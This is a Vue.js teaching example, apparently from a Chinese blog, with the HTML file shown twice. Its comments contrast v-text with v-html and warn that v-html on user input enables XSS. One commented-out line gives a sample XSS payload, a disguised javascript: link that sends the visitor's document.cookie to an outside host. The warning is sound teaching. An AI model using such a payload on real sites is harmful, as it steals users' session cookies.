<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="../js/vue.js"></script> </head> <body> <div id="app"> <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 --> <h1>{{msg}}</h1> <h1 v-text="msg"></h1> <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 --> <h1 v-text="name"></h1> <!-- 即便是html代码也只会作为普通文本执行 --> <h1 v-text="s1"></h1> <!-- v-html视为html代码,和JS中的innerHTML一样 --> <!-- 也是覆盖原有内容,显示新东西 --> <!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 --> <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 --> <div v-html="s1"></div> <!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, --> <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 --> <!-- 这些恶意的网页程序一般是用JS编写的 --> <!-- 例如 --> <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> --> <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 --> <!-- 就会被对方获取信息 --> </div> <script> const vm = new Vue({ el : "#app", data : { msg : "Hello", name : "Jack", s1 : "<h1>哈哈哈</h1>" } }); </script> </body> </html><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="app">
<!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->
<h1>{{msg}}</h1>
<h1 v-text="msg"></h1>
<!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->
<h1 v-text="name"></h1>
<!-- 即便是html代码也只会作为普通文本执行 -->
<h1 v-text="s1"></h1>
<!-- v-html视为html代码,和JS中的innerHTML一样 -->
<!-- 也是覆盖原有内容,显示新东西 -->
<!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 -->
<!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->
<div v-html="s1"></div>
<!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, -->
<!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->
<!-- 这些恶意的网页程序一般是用JS编写的 -->
<!-- 例如 -->
<!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->
<!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->
<!-- 就会被对方获取信息 -->
</div>
<script>
const vm = new Vue({
el : "#app",
data : {
msg : "Hello",
name : "Jack",
s1 : "<h1>哈哈哈</h1>"
}
});
</script>
</body>
</html>
扫一扫
评论
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
查看更多评论
添加红包
